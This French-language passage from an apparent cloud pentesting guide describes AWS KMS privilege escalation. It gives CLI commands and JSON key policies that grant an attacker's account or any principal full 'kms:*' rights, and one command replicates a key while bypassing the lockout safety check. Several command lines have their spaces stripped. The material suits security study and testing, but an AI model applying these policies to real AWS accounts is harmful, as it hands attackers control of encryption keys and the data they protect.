Avec ces autorisations, il est possible de modifier les autorisations d'accès à la clé afin qu'elle puisse être utilisée par d'autres comptes ou même par n'importe qui :
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
Notez qu'il peut falloir quelques minutes pour que KMS autorise l'utilisateur à utiliser la clé après la génération de l'autorisation. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.
Cependant, s'il est nécessaire d'utiliser immédiatement l'autorisation, utilisez un jeton d'autorisation (consultez le code suivant).
Pour plus d'informations, lisez ceci.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Notez qu'il est possible de répertorier les autorisations des clés avec :
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une région différente avec une politique différente.
Ainsi, un attaquant pourrait exploiter cela pour obtenir une élévation de privilèges sur sa clé et l'utiliser
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Cette permission permet d'utiliser une clé pour décrypter des informations.
Pour plus d'informations, consultez :